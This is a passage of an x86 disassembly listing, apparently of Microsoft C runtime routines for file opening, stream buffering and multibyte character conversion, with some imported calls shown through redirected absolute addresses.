jnz loc_427F26
cmp [ebp+arg_10], 0
jnz short loc_427E51
mov edx, dword_4DB1C8
mov [ebp+arg_10], edx
loc_427E51: ; CODE XREF: sub_427D80+C6j
push 0
push 0
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_18]
neg edx
sbb edx, edx
and edx, 8
add edx, 1
push edx
mov eax, [ebp+arg_10]
push eax
nop
call near ptr 2810000h
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jnz short loc_427E85
xor eax, eax
jmp loc_427F28
; ---------------------------------------------------------------------------
loc_427E85: ; CODE XREF: sub_427D80+FCj
mov [ebp+var_4], 0
mov eax, [ebp+var_20]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_417E20
mov [ebp+var_2C], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_2C]
mov [ebp+var_24], ecx
mov edx, [ebp+var_20]
shl edx, 1
push edx
push 0
mov eax, [ebp+var_24]
push eax
call sub_417070
add esp, 0Ch
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_427EDB
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_24], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_427EDB: ; CODE XREF: sub_427D80+142j
cmp [ebp+var_24], 0
jnz short loc_427EE5
xor eax, eax
jmp short loc_427F28
; ---------------------------------------------------------------------------
loc_427EE5: ; CODE XREF: sub_427D80+15Fj
mov ecx, [ebp+var_20]
push ecx
mov edx, [ebp+var_24]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
push 1
mov edx, [ebp+arg_10]
push edx
call near ptr 2810000h
nop
mov [ebp+var_28], eax
cmp [ebp+var_28], 0
jnz short loc_427F0E
xor eax, eax
jmp short loc_427F28
; ---------------------------------------------------------------------------
loc_427F0E: ; CODE XREF: sub_427D80+188j
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+var_28]
push ecx
mov edx, [ebp+var_24]
push edx
mov eax, [ebp+arg_0]
push eax
nop
call near ptr 2650000h
jmp short loc_427F28
; ---------------------------------------------------------------------------
loc_427F26: ; CODE XREF: sub_427D80+BCj
xor eax, eax
loc_427F28: ; CODE XREF: sub_427D80+79j
; sub_427D80+B0j ...
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_427D80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427F40 proc near ; CODE XREF: sub_41DB50+A1p
; sub_41E730+137p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_427F47: ; CODE XREF: sub_427F40+2Fj
cmp [ebp+arg_0], 0
jnz short loc_427F6B
push offset dword_4334B4
push 0
push 2Eh
push offset dword_4345C4
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_427F6B
int 3 ; Trap to Debugger
loc_427F6B: ; CODE XREF: sub_427F40+Bj
; sub_427F40+28j
xor eax, eax
test eax, eax
jnz short loc_427F47
mov ecx, dword_4DB110
add ecx, 1
mov dword_4DB110, ecx
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
push 3Bh
push offset dword_4345C4
push 2
push 1000h
call sub_414DD0
add esp, 10h
mov ecx, [ebp+var_4]
mov [ecx+8], eax
mov edx, [ebp+var_4]
cmp dword ptr [edx+8], 0
jz short loc_427FC6
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
or ecx, 8
mov edx, [ebp+var_4]
mov [edx+0Ch], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax+18h], 1000h
jmp short loc_427FEB
; ---------------------------------------------------------------------------
loc_427FC6: ; CODE XREF: sub_427F40+69j
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
or edx, 4
mov eax, [ebp+var_4]
mov [eax+0Ch], edx
mov ecx, [ebp+var_4]
add ecx, 14h
mov edx, [ebp+var_4]
mov [edx+8], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax+18h], 2
loc_427FEB: ; CODE XREF: sub_427F40+84j
mov ecx, [ebp+var_4]
mov edx, [ebp+var_4]
mov eax, [edx+8]
mov [ecx], eax
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_427F40 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp+10h]
mov [ebp-8], eax
mov ecx, [ebp-8]
add ecx, 4
mov [ebp-8], ecx
mov edx, [ebp-8]
mov eax, [edx-4]
mov [ebp-4], eax
mov dword ptr [ebp-8], 0
mov ecx, [ebp-4]
push ecx
push 40h
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_428050
add esp, 10h
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428050 proc near ; CODE XREF: sub_41E220+2B0p
; ___:00428043p
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 48h
mov [ebp+var_24], 0Ch
mov [ebp+var_20], 0
mov eax, [ebp+arg_4]
and eax, 80h
test eax, eax
jz short loc_42807D
mov [ebp+var_1C], 0
mov [ebp+var_38], 10h
jmp short loc_428088
; ---------------------------------------------------------------------------
loc_42807D: ; CODE XREF: sub_428050+1Ej
mov [ebp+var_1C], 1
mov [ebp+var_38], 0
loc_428088: ; CODE XREF: sub_428050+2Bj
mov ecx, [ebp+arg_4]
and ecx, 8000h
test ecx, ecx
jnz short loc_4280C1
mov edx, [ebp+arg_4]
and edx, 4000h
test edx, edx
jz short loc_4280AC
mov al, [ebp+var_38]
or al, 80h
mov [ebp+var_38], al
jmp short loc_4280C1
; ---------------------------------------------------------------------------
loc_4280AC: ; CODE XREF: sub_428050+50j
cmp dword_4DB42C, 8000h
jz short loc_4280C1
mov cl, [ebp+var_38]
or cl, 80h
mov [ebp+var_38], cl
loc_4280C1: ; CODE XREF: sub_428050+43j
; sub_428050+5Aj ...
mov edx, [ebp+arg_4]
and edx, 3
mov [ebp+var_40], edx
cmp [ebp+var_40], 0
jz short loc_4280DE
cmp [ebp+var_40], 1
jz short loc_4280E7
cmp [ebp+var_40], 2
jz short loc_4280F0
jmp short loc_4280F9
; ---------------------------------------------------------------------------
loc_4280DE: ; CODE XREF: sub_428050+7Ej
mov [ebp+var_34], 80000000h
jmp short loc_428117
; ---------------------------------------------------------------------------
loc_4280E7: ; CODE XREF: sub_428050+84j
mov [ebp+var_34], 40000000h
jmp short loc_428117
; ---------------------------------------------------------------------------
loc_4280F0: ; CODE XREF: sub_428050+8Aj
mov [ebp+var_34], 0C0000000h
jmp short loc_428117
; ---------------------------------------------------------------------------
loc_4280F9: ; CODE XREF: sub_428050+8Cj
call sub_420520
mov dword ptr [eax], 16h
call sub_420530
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp loc_42855A
; ---------------------------------------------------------------------------
loc_428117: ; CODE XREF: sub_428050+95j
; sub_428050+9Ej ...
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
mov ecx, [ebp+var_44]
sub ecx, 10h
mov [ebp+var_44], ecx
cmp [ebp+var_44], 30h
ja short loc_428162
mov eax, [ebp+var_44]
xor edx, edx
mov dl, byte_428572[eax]
jmp off_42855E[edx*4]
loc_42813E: ; DATA XREF: ___:off_42855Eo
mov [ebp+var_8], 0
jmp short loc_428180
; ---------------------------------------------------------------------------
loc_428147: ; CODE XREF: sub_428050+E7j
; DATA XREF: ___:00428562o
mov [ebp+var_8], 1
jmp short loc_428180
; ---------------------------------------------------------------------------
loc_428150: ; CODE XREF: sub_428050+E7j
; DATA XREF: ___:00428566o
mov [ebp+var_8], 2
jmp short loc_428180
; ---------------------------------------------------------------------------
loc_428159: ; CODE XREF: sub_428050+E7j
; DATA XREF: ___:0042856Ao
mov [ebp+var_8], 3
jmp short loc_428180
; ---------------------------------------------------------------------------
loc_428162: ; CODE XREF: sub_428050+DAj
; sub_428050+E7j
; DATA XREF: ...
call sub_420520
mov dword ptr [eax], 16h
call sub_420530
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp loc_42855A
; ---------------------------------------------------------------------------
loc_428180: ; CODE XREF: sub_428050+F5j
; sub_428050+FEj ...
mov ecx, [ebp+arg_4]
and ecx, 700h
mov [ebp+var_48], ecx
cmp [ebp+var_48], 400h
jg short loc_4281CC
cmp [ebp+var_48], 400h
jz short loc_4281E9
cmp [ebp+var_48], 200h
jg short loc_4281C1
cmp [ebp+var_48], 200h
jz short loc_428204
cmp [ebp+var_48], 0
jz short loc_4281E9
cmp [ebp+var_48], 100h
jz short loc_4281F2
jmp short loc_428216
; ---------------------------------------------------------------------------
loc_4281C1: ; CODE XREF: sub_428050+155j
cmp [ebp+var_48], 300h
jz short loc_42820D
jmp short loc_428216
; ---------------------------------------------------------------------------
loc_4281CC: ; CODE XREF: sub_428050+143j
cmp [ebp+var_48], 500h
jz short loc_4281FB
cmp [ebp+var_48], 600h
jz short loc_428204
cmp [ebp+var_48], 700h
jz short loc_4281FB
jmp short loc_428216
; ---------------------------------------------------------------------------
loc_4281E9: ; CODE XREF: sub_428050+14Cj
; sub_428050+164j
mov [ebp+var_18], 3
jmp short loc_428234
; ---------------------------------------------------------------------------
loc_4281F2: ; CODE XREF: sub_428050+16Dj
mov [ebp+var_18], 4
jmp short loc_428234
; ---------------------------------------------------------------------------
loc_4281FB: ; CODE XREF: sub_428050+183j
; sub_428050+195j
mov [ebp+var_18], 1
jmp short loc_428234
; ---------------------------------------------------------------------------
loc_428204: ; CODE XREF: sub_428050+15Ej
; sub_428050+18Cj
mov [ebp+var_18], 5
jmp short loc_428234
; ---------------------------------------------------------------------------
loc_42820D: ; CODE XREF: sub_428050+178j
mov [ebp+var_18], 2
jmp short loc_428234
; ---------------------------------------------------------------------------
loc_428216: ; CODE XREF: sub_428050+16Fj
; sub_428050+17Aj ...
call sub_420520
mov dword ptr [eax], 16h
call sub_420530
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp loc_42855A
; ---------------------------------------------------------------------------
loc_428234: ; CODE XREF: sub_428050+1A0j
; sub_428050+1A9j ...
mov [ebp+var_28], 80h
mov edx, [ebp+arg_4]
and edx, 100h
test edx, edx
jz short loc_428285
lea eax, [ebp+arg_C]
mov [ebp+var_2C], eax
mov ecx, [ebp+var_2C]
add ecx, 4
mov [ebp+var_2C], ecx
mov edx, [ebp+var_2C]
mov eax, [edx-4]
mov [ebp+var_10], eax
mov [ebp+var_2C], 0
mov ecx, dword_4DB0AC
not ecx
mov edx, [ebp+var_10]
and edx, ecx
and edx, 80h
test edx, edx
jnz short loc_428285
mov [ebp+var_28], 1
loc_428285: ; CODE XREF: sub_428050+1F6j
; sub_428050+22Cj
mov eax, [ebp+arg_4]
and eax, 40h
test eax, eax
jz short loc_4282A7
mov ecx, [ebp+var_28]
or ecx, 4000000h
mov [ebp+var_28], ecx
mov edx, [ebp+var_34]
or edx, 10000h
mov [ebp+var_34], edx
loc_4282A7: ; CODE XREF: sub_428050+23Dj
mov eax, [ebp+arg_4]
and eax, 1000h
test eax, eax
jz short loc_4282BC
mov ecx, [ebp+var_28]
or ch, 1
mov [ebp+var_28], ecx
loc_4282BC: ; CODE XREF: sub_428050+261j
mov edx, [ebp+arg_4]
and edx, 20h
test edx, edx
jz short loc_4282D3
mov eax, [ebp+var_28]
or eax, 8000000h
mov [ebp+var_28], eax
jmp short loc_4282E9
; ---------------------------------------------------------------------------
loc_4282D3: ; CODE XREF: sub_428050+274j
mov ecx, [ebp+arg_4]
and ecx, 10h
test ecx, ecx
jz short loc_4282E9
mov edx, [ebp+var_28]
or edx, 10000000h
mov [ebp+var_28], edx
loc_4282E9: ; CODE XREF: sub_428050+281j
; sub_428050+28Bj
call sub_4276D0
mov [ebp+var_14], eax
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_428315
call sub_420520
mov dword ptr [eax], 18h
call sub_420530
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp loc_42855A
; ---------------------------------------------------------------------------
loc_428315: ; CODE XREF: sub_428050+2A5j
push 0
mov eax, [ebp+var_28]
push eax
mov ecx, [ebp+var_18]
push ecx
lea edx, [ebp+var_24]
push edx
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+var_34]
push ecx
mov edx, [ebp+arg_0]
push edx
nop
call near ptr 2760000h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0FFFFFFFFh
jnz short loc_428361
call near ptr 26908EFh
nop
push eax
call sub_420480
add esp, 4
mov eax, [ebp+var_14]
push eax
call sub_427C70
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_42855A
; ---------------------------------------------------------------------------
loc_428361: ; CODE XREF: sub_428050+2ECj
mov ecx, [ebp+var_4]
push ecx
nop
call near ptr 28C0000h
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_4283A1
mov edx, [ebp+var_4]
push edx
call near ptr 267009Bh
nop
nop
call near ptr 26908EFh
push eax
call sub_420480
add esp, 4
mov eax, [ebp+var_14]
push eax
call sub_427C70
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_42855A
; ---------------------------------------------------------------------------
loc_4283A1: ; CODE XREF: sub_428050+322j
cmp [ebp+var_C], 2
jnz short loc_4283B2
mov cl, [ebp+var_38]
or cl, 40h
mov [ebp+var_38], cl
jmp short loc_4283C1
; ---------------------------------------------------------------------------
loc_4283B2: ; CODE XREF: sub_428050+355j
cmp [ebp+var_C], 3
jnz short loc_4283C1
mov dl, [ebp+var_38]
or dl, 8
mov [ebp+var_38], dl
loc_4283C1: ; CODE XREF: sub_428050+360j
; sub_428050+366j
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_14]
push ecx
call sub_4278C0
add esp, 8
mov dl, [ebp+var_38]
or dl, 1
mov [ebp+var_38], dl
mov eax, [ebp+var_14]
sar eax, 5
mov ecx, [ebp+var_14]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DB460[eax*4]
mov al, [ebp+var_38]
mov [edx+ecx+4], al
movsx ecx, [ebp+var_38]
and ecx, 48h
test ecx, ecx
jnz loc_4284FF
movsx edx, [ebp+var_38]
and edx, 80h
test edx, edx
jz loc_4284FF
mov eax, [ebp+arg_4]
and eax, 2
test eax, eax
jz loc_4284FF
push 2
push 0FFFFFFFFh
mov ecx, [ebp+var_14]
push ecx
call sub_4254B0
add esp, 0Ch
mov [ebp+var_3C], eax
cmp [ebp+var_3C], 0FFFFFFFFh
jnz short loc_428471
call sub_420530
cmp dword ptr [eax], 83h
jz short loc_42846C
mov edx, [ebp+var_14]
push edx
call sub_41B1B0
add esp, 4
mov eax, [ebp+var_14]
push eax
call sub_427C70
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_42855A
; ---------------------------------------------------------------------------
loc_42846C: ; CODE XREF: sub_428050+3FAj
jmp loc_4284FF
; ---------------------------------------------------------------------------
loc_428471: ; CODE XREF: sub_428050+3EDj
mov [ebp+var_30], 0
push 1
lea ecx, [ebp+var_30]
push ecx
mov edx, [ebp+var_14]
push edx
call sub_41DDD0
add esp, 0Ch
test eax, eax
jnz short loc_4284C9
movsx eax, [ebp+var_30]
cmp eax, 1Ah
jnz short loc_4284C9
mov ecx, [ebp+var_3C]
push ecx
mov edx, [ebp+var_14]
push edx
call sub_42CE20
add esp, 8
cmp eax, 0FFFFFFFFh
jnz short loc_4284C9
mov eax, [ebp+var_14]
push eax
call sub_41B1B0
add esp, 4
mov ecx, [ebp+var_14]
push ecx
call sub_427C70
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_42855A
; ---------------------------------------------------------------------------
loc_4284C9: ; CODE XREF: sub_428050+439j
; sub_428050+442j ...
push 0
push 0
mov edx, [ebp+var_14]
push edx
call sub_4254B0
add esp, 0Ch
mov [ebp+var_3C], eax
cmp [ebp+var_3C], 0FFFFFFFFh
jnz short loc_4284FF
mov eax, [ebp+var_14]
push eax
call sub_41B1B0
add esp, 4
mov ecx, [ebp+var_14]
push ecx
call sub_427C70
add esp, 4
or eax, 0FFFFFFFFh
jmp short loc_42855A
; ---------------------------------------------------------------------------
loc_4284FF: ; CODE XREF: sub_428050+3B0j
; sub_428050+3C2j ...
movsx edx, [ebp+var_38]
and edx, 48h
test edx, edx
jnz short loc_42854B
mov eax, [ebp+arg_4]
and eax, 8
test eax, eax
jz short loc_42854B
mov ecx, [ebp+var_14]
sar ecx, 5
mov edx, [ebp+var_14]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DB460[ecx*4]
mov cl, [eax+edx+4]
or cl, 20h
mov edx, [ebp+var_14]
sar edx, 5
mov eax, [ebp+var_14]
and eax, 1Fh
imul eax, 24h
mov edx, dword_4DB460[edx*4]
mov [edx+eax+4], cl
loc_42854B: ; CODE XREF: sub_428050+4B8j
; sub_428050+4C2j
mov eax, [ebp+var_14]
push eax
call sub_427C70
add esp, 4
mov eax, [ebp+var_14]
loc_42855A: ; CODE XREF: sub_428050+C2j
; sub_428050+12Bj ...
mov esp, ebp
pop ebp
retn
sub_428050 endp
; ---------------------------------------------------------------------------
off_42855E dd offset loc_42813E ; DATA XREF: sub_428050+E7r
dd offset loc_428147
dd offset loc_428150
dd offset loc_428159
dd offset loc_428162
byte_428572 db 0 ; DATA XREF: sub_428050+E1r
db 4
dd 3 dup(4040404h), 4010404h, 3 dup(4040404h), 4020404h
dd 3 dup(4040404h), 0CC030404h, 3 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4285B0 proc near ; CODE XREF: sub_41E730+127p
; sub_420720+40p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
cmp eax, dword_4DB560
jb short loc_4285C2
xor eax, eax
jmp short loc_4285E0
; ---------------------------------------------------------------------------
loc_4285C2: ; CODE XREF: sub_4285B0+Cj
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DB460[ecx*4]
movsx eax, byte ptr [eax+edx+4]
and eax, 40h
loc_4285E0: ; CODE XREF: sub_4285B0+10j
pop ebp
retn
sub_4285B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4285F0 proc near ; CODE XREF: sub_41E9B0+3CAp
; sub_41E9B0+B90p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push offset dword_4DB45C
call near ptr 2840CCAh
nop
cmp dword_4DB458, 0
jz short loc_428628
push offset dword_4DB45C
nop
call near ptr 2840C7Bh
push 13h
call sub_41B780
add esp, 4
mov [ebp+var_4], 1
jmp short loc_42862F
; ---------------------------------------------------------------------------
loc_428628: ; CODE XREF: sub_4285F0+18j
mov [ebp+var_4], 0
loc_42862F: ; CODE XREF: sub_4285F0+36j
mov ax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_428670
add esp, 8
mov [ebp+var_8], eax
cmp [ebp+var_4], 0
jz short loc_428655
push 13h
call sub_41B820
add esp, 4
jmp short loc_428660
; ---------------------------------------------------------------------------
loc_428655: ; CODE XREF: sub_4285F0+57j
push offset dword_4DB45C
nop
call near ptr 2840C7Bh
loc_428660: ; CODE XREF: sub_4285F0+63j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_4285F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428670 proc near ; CODE XREF: sub_4285F0+48p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
cmp [ebp+arg_0], 0
jnz short loc_428683
xor eax, eax
jmp loc_42870C
; ---------------------------------------------------------------------------
loc_428683: ; CODE XREF: sub_428670+Aj
cmp dword_4DB1B8, 0
jnz short loc_4286BA
mov eax, [ebp+arg_4]
and eax, 0FFFFh
cmp eax, 0FFh
jle short loc_4286AB
call sub_420520
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_42870C
; ---------------------------------------------------------------------------
loc_4286AB: ; CODE XREF: sub_428670+29j
mov ecx, [ebp+arg_0]
mov dl, byte ptr [ebp+arg_4]
mov [ecx], dl
mov eax, 1
jmp short loc_42870C
; ---------------------------------------------------------------------------
loc_4286BA: ; CODE XREF: sub_428670+1Aj
mov [ebp+var_8], 0
lea eax, [ebp+var_8]
push eax
push 0
mov ecx, dword_443B70
push ecx
mov edx, [ebp+arg_0]
push edx
push 1
lea eax, [ebp+arg_4]
push eax
push 220h
mov ecx, dword_4DB1C8
push ecx
call near ptr 2710000h
nop
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_4286F9
cmp [ebp+var_8], 0
jz short loc_428709
loc_4286F9: ; CODE XREF: sub_428670+81j
call sub_420520
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_42870C
; ---------------------------------------------------------------------------
loc_428709: ; CODE XREF: sub_428670+87j
mov eax, [ebp+var_4]
loc_42870C: ; CODE XREF: sub_428670+Ej
; sub_428670+39j ...
mov esp, ebp
pop ebp
retn
sub_428670 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428710 proc near ; CODE XREF: sub_420920+74Ep
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push offset dword_4DB45C
nop
call near ptr 2840CCAh
cmp dword_4DB458, 0
jz short loc_428748
push offset dword_4DB45C
nop
call near ptr 2840C7Bh
push 13h
call sub_41B780
add esp, 4
mov [ebp+var_4], 1
jmp short loc_42874F
; ---------------------------------------------------------------------------
loc_428748: ; CODE XREF: sub_428710+18j
mov [ebp+var_4], 0
loc_42874F: ; CODE XREF: sub_428710+36j
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_428790
add esp, 0Ch
mov [ebp+var_8], eax
cmp [ebp+var_4], 0
jz short loc_428778
push 13h
call sub_41B820
add esp, 4
jmp short loc_428783
; ---------------------------------------------------------------------------
loc_428778: ; CODE XREF: sub_428710+5Aj
push offset dword_4DB45C
nop
call near ptr 2840C7Bh
loc_428783: ; CODE XREF: sub_428710+66j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_428710 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428790 proc near ; CODE XREF: sub_428710+4Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
loc_428796: ; CODE XREF: sub_428790+3Aj
cmp dword_443B70, 1
jz short loc_4287C6
cmp dword_443B70, 2
jz short loc_4287C6
push offset aMb_cur_max1Mb_ ; "MB_CUR_MAX == 1 || MB_CUR_MAX == 2"
push 0
push 4Fh
push offset dword_4345D0
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_4287C6
int 3 ; Trap to Debugger
loc_4287C6: ; CODE XREF: sub_428790+Dj
; sub_428790+16j ...
xor eax, eax
test eax, eax
jnz short loc_428796
cmp [ebp+arg_4], 0
jz short loc_4287D8
cmp [ebp+arg_8], 0
jnz short loc_4287DF
loc_4287D8: ; CODE XREF: sub_428790+40j
xor eax, eax
jmp loc_4288E9
; ---------------------------------------------------------------------------
loc_4287DF: ; CODE XREF: sub_428790+46j
mov ecx, [ebp+arg_4]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_4287FE
cmp [ebp+arg_0], 0
jz short loc_4287F7
mov eax, [ebp+arg_0]
mov word ptr [eax], 0
loc_4287F7: ; CODE XREF: sub_428790+5Dj
xor eax, eax
jmp loc_4288E9
; ---------------------------------------------------------------------------
loc_4287FE: ; CODE XREF: sub_428790+57j
cmp dword_4DB1B8, 0
jnz short loc_428824
cmp [ebp+arg_0], 0
jz short loc_42881A
mov ecx, [ebp+arg_4]
movzx dx, byte ptr [ecx]
mov eax, [ebp+arg_0]
mov [eax], dx
loc_42881A: ; CODE XREF: sub_428790+7Bj
mov eax, 1
jmp loc_4288E9
; ---------------------------------------------------------------------------
loc_428824: ; CODE XREF: sub_428790+75j
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov eax, off_443C7C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 8000h
test ecx, ecx
jz short loc_4288AD
cmp dword_443B70, 1
jle short loc_428880
mov edx, [ebp+arg_8]
cmp edx, dword_443B70
jl short loc_428880
xor eax, eax
cmp [ebp+arg_0], 0
setnz al
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, dword_443B70
push edx
mov eax, [ebp+arg_4]
push eax
push 9
mov ecx, dword_4DB1C8
push ecx
nop
call near ptr 2810000h
test eax, eax
jnz short loc_4288A6
loc_428880: ; CODE XREF: sub_428790+B7j
; sub_428790+C2j
mov edx, [ebp+arg_8]
cmp edx, dword_443B70
jb short loc_428896
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [eax+1]
test ecx, ecx
jnz short loc_4288A6
loc_428896: ; CODE XREF: sub_428790+F9j
call sub_420520
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_4288E9
; ---------------------------------------------------------------------------
loc_4288A6: ; CODE XREF: sub_428790+EEj
; sub_428790+104j
mov eax, dword_443B70
jmp short loc_4288E9
; ---------------------------------------------------------------------------
loc_4288AD: ; CODE XREF: sub_428790+AEj
xor edx, edx
cmp [ebp+arg_0], 0
setnz dl
push edx
mov eax, [ebp+arg_0]
push eax
push 1
mov ecx, [ebp+arg_4]
push ecx
push 9
mov edx, dword_4DB1C8
push edx
nop
call near ptr 2810000h
test eax, eax
jnz short loc_4288E4
call sub_420520
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_4288E9
; ---------------------------------------------------------------------------
loc_4288E4: ; CODE XREF: sub_428790+142j
mov eax, 1
loc_4288E9: ; CODE XREF: sub_428790+4Aj
; sub_428790+69j ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_428790 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_443B70, 1
jle short loc_428913
push 103h
mov eax, [ebp+8]
push eax
call sub_41DA90
add esp, 8
mov [ebp-4], eax
jmp short loc_42892A
; ---------------------------------------------------------------------------
loc_428913: ; CODE XREF: ___:004288FBj
mov ecx, [ebp+8]
mov edx, off_443C7C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 103h
mov [ebp-4], eax
loc_42892A: ; CODE XREF: ___:00428911j
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_443B70, 1
jle short loc_428960
push 1
mov eax, [ebp+8]
push eax
call sub_41DA90
add esp, 8
mov [ebp-4], eax
jmp short loc_428975
; ---------------------------------------------------------------------------
loc_428960: ; CODE XREF: ___:0042894Bj
mov ecx, [ebp+8]
mov edx, off_443C7C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 1
mov [ebp-4], eax
loc_428975: ; CODE XREF: ___:0042895Ej
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_443B70, 1
jle short loc_4289A0
push 2
mov eax, [ebp+8]
push eax
call sub_41DA90
add esp, 8
mov [ebp-4], eax
jmp short loc_4289B5
; ---------------------------------------------------------------------------
loc_4289A0: ; CODE XREF: ___:0042898Bj
mov ecx, [ebp+8]
mov edx, off_443C7C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 2
mov [ebp-4], eax
loc_4289B5: ; CODE XREF: ___:0042899Ej
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_443B70, 1
jle short loc_4289E0
push 4
mov eax, [ebp+8]
push eax
call sub_41DA90
add esp, 8
mov [ebp-4], eax
jmp short loc_4289F5
; ---------------------------------------------------------------------------
loc_4289E0: ; CODE XREF: ___:004289CBj
mov ecx, [ebp+8]
mov edx, off_443C7C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 4
mov [ebp-4], eax
loc_4289F5: ; CODE XREF: ___:004289DEj
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_443B70, 1
jle short loc_428A23
push 80h
mov eax, [ebp+8]
push eax
